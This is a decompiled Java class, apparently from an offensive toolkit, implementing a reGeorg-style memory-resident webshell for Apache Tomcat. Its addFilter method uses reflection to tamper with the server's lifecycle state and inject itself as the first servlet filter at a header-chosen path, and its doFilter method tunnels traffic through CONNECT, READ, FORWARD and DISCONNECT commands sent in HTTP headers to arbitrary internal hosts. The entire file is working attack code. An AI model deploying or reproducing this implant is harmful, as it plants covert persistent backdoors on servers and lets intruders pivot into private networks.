content: //
  // Source code recreated from a .class file by IntelliJ IDEA
  // (powered by Fernflower decompiler)
  //
  
  package com.summersec.x;
  
  import java.io.IOException;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  import java.net.InetSocketAddress;
  import java.net.UnknownHostException;
  import java.nio.ByteBuffer;
  import java.nio.channels.SocketChannel;
  import java.util.EnumSet;
  import javax.servlet.DispatcherType;
  import javax.servlet.Filter;
  import javax.servlet.FilterChain;
  import javax.servlet.FilterConfig;
  import javax.servlet.ServletContext;
  import javax.servlet.ServletException;
  import javax.servlet.ServletOutputStream;
  import javax.servlet.ServletRequest;
  import javax.servlet.ServletResponse;
  import javax.servlet.FilterRegistration.Dynamic;
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  import javax.servlet.http.HttpSession;
  import org.apache.catalina.LifecycleState;
  import org.apache.catalina.core.ApplicationContext;
  import org.apache.catalina.core.StandardContext;
  import org.apache.catalina.util.LifecycleBase;
  
  public class reGeorgFilter implements Filter {
      public HttpServletRequest request = null;
      public HttpServletResponse response = null;
      public String cs = "UTF-8";
      public String path = "/favicondemo.ico";
  
      public reGeorgFilter() {
      }
  
      public boolean equals(Object obj) {
          this.parseObj(obj);
          this.path = this.request.getHeader("path");
          StringBuffer output = new StringBuffer();
          String tag_s = "->|";
          String tag_e = "|<-";
  
          try {
              this.response.setContentType("text/html");
              this.request.setCharacterEncoding(this.cs);
              this.response.setCharacterEncoding(this.cs);
              output.append(this.addFilter());
          } catch (Exception var7) {
              output.append("error:" + var7.toString());
          }
  
          try {
              this.response.getWriter().print(tag_s + output.toString() + tag_e);
              this.response.getWriter().flush();
              this.response.getWriter().close();
          } catch (Exception var6) {
          }
  
          return true;
      }
  
      public String addFilter() throws Exception {
          ServletContext servletContext = this.request.getServletContext();
          Filter filter = this;
          String filterName = this.path;
          String url = this.path;
          if (servletContext.getFilterRegistration(filterName) == null) {
              Field contextField = null;
              ApplicationContext applicationContext = null;
              StandardContext standardContext = null;
              Field stateField = null;
              Dynamic filterRegistration = null;
  
              String var11;
              try {
                  contextField = servletContext.getClass().getDeclaredField("context");
                  contextField.setAccessible(true);
                  applicationContext = (ApplicationContext)contextField.get(servletContext);
                  contextField = applicationContext.getClass().getDeclaredField("context");
                  contextField.setAccessible(true);
                  standardContext = (StandardContext)contextField.get(applicationContext);
                  stateField = LifecycleBase.class.getDeclaredField("state");
                  stateField.setAccessible(true);
                  stateField.set(standardContext, LifecycleState.STARTING_PREP);
                  filterRegistration = servletContext.addFilter(filterName, filter);
                  filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                  Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                  filterStartMethod.setAccessible(true);
                  filterStartMethod.invoke(standardContext, (Object[])null);
                  stateField.set(standardContext, LifecycleState.STARTED);
                  var11 = null;
  
                  Class filterMap;
                  try {
                      filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                  } catch (Exception var21) {
                      filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                  }
  
                  Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
                  Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
  
                  for(int i = 0; i < filterMaps.length; ++i) {
                      Object filterMapObj = filterMaps[i];
                      findFilterMaps = filterMap.getMethod("getFilterName");
                      String name = (String)findFilterMaps.invoke(filterMapObj);
                      if (name.equalsIgnoreCase(filterName)) {
                          filterMaps[i] = filterMaps[0];
                          filterMaps[0] = filterMapObj;
                      }
                  }
  
                  String var25 = "Success";
                  return var25;
              } catch (Exception var22) {
                  var11 = var22.getMessage();
              } finally {
                  stateField.set(standardContext, LifecycleState.STARTED);
              }
  
              return var11;
          } else {
              return "Filter already exists";
          }
      }
  
      public void parseObj(Object obj) {
          if (obj.getClass().isArray()) {
              Object[] data = (Object[])((Object[])obj);
              this.request = (HttpServletRequest)data[0];
              this.response = (HttpServletResponse)data[1];
          } else {
              try {
                  Class clazz = Class.forName("javax.servlet.jsp.PageContext");
                  this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
                  this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
              } catch (Exception var8) {
                  if (obj instanceof HttpServletRequest) {
                      this.request = (HttpServletRequest)obj;
  
                      try {
                          Field req = this.request.getClass().getDeclaredField("request");
                          req.setAccessible(true);
                          HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
                          Field resp = request2.getClass().getDeclaredField("response");
                          resp.setAccessible(true);
                          this.response = (HttpServletResponse)resp.get(request2);
                      } catch (Exception var7) {
                          try {
                              this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
                          } catch (Exception var6) {
                          }
                      }
                  }
              }
          }
  
      }
  
      public void init(FilterConfig filterConfig) throws ServletException {
      }
  
      public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
          HttpServletRequest request = (HttpServletRequest)req;
          HttpServletResponse response = (HttpServletResponse)resp;
          HttpSession session = request.getSession();
  
          try {
              String cmd = request.getHeader("X-CMD");
              if (cmd != null) {
                  response.setHeader("X-STATUS", "OK");
                  int readlen;
                  if (cmd.compareTo("CONNECT") == 0) {
                      try {
                          String target = request.getHeader("X-TARGET");
                          readlen = Integer.parseInt(request.getHeader("X-PORT"));
                          SocketChannel socketChannel = SocketChannel.open();
                          socketChannel.connect(new InetSocketAddress(target, readlen));
                          socketChannel.configureBlocking(false);
                          session.setAttribute("socket", socketChannel);
                          response.setHeader("X-STATUS", "OK");
                      } catch (UnknownHostException var13) {
                          System.out.println(var13.getMessage());
                          response.setHeader("X-ERROR", var13.getMessage());
                          response.setHeader("X-STATUS", "FAIL");
                      } catch (IOException var14) {
                          System.out.println(var14.getMessage());
                          response.setHeader("X-ERROR", var14.getMessage());
                          response.setHeader("X-STATUS", "FAIL");
                      }
                  } else {
                      SocketChannel socketChannel;
                      if (cmd.compareTo("DISCONNECT") == 0) {
                          socketChannel = (SocketChannel)session.getAttribute("socket");
  
                          try {
                              socketChannel.socket().close();
                          } catch (Exception var12) {
                              System.out.println(var12.getMessage());
                          }
  
                          session.invalidate();
                      } else if (cmd.compareTo("READ") == 0) {
                          socketChannel = (SocketChannel)session.getAttribute("socket");
  
                          try {
                              ByteBuffer buf = ByteBuffer.allocate(512);
                              int bytesRead = socketChannel.read(buf);
  
                              ServletOutputStream so;
                              for(so = response.getOutputStream(); bytesRead > 0; bytesRead = socketChannel.read(buf)) {
                                  so.write(buf.array(), 0, bytesRead);
                                  so.flush();
                                  buf.clear();
                              }
  
                              response.setHeader("X-STATUS", "OK");
                              so.flush();
                              so.close();
                          } catch (Exception var16) {
                              System.out.println(var16.getMessage());
                              response.setHeader("X-ERROR", var16.getMessage());
                              response.setHeader("X-STATUS", "FAIL");
                          }
                      } else if (cmd.compareTo("FORWARD") == 0) {
                          socketChannel = (SocketChannel)session.getAttribute("socket");
  
                          try {
                              readlen = request.getContentLength();
                              byte[] buff = new byte[readlen];
                              request.getInputStream().read(buff, 0, readlen);
                              ByteBuffer buf = ByteBuffer.allocate(readlen);
                              buf.clear();
                              buf.put(buff);
                              buf.flip();
  
                              while(buf.hasRemaining()) {
                                  socketChannel.write(buf);
                              }
  
                              response.setHeader("X-STATUS", "OK");
                          } catch (Exception var15) {
                              System.out.println(var15.getMessage());
                              response.setHeader("X-ERROR", var15.getMessage());
                              response.setHeader("X-STATUS", "FAIL");
                              socketChannel.socket().close();
                          }
                      }
                  }
              } else {
                  response.getWriter().write("Georg says, 'All seems fine'");
                  response.getWriter().flush();
                  response.getWriter().close();
              }
  
          } catch (ClassCastException var17) {
              throw new ServletException("non-HTTP request or response");
          }
      }
  
      public void destroy() {
      }
  }
  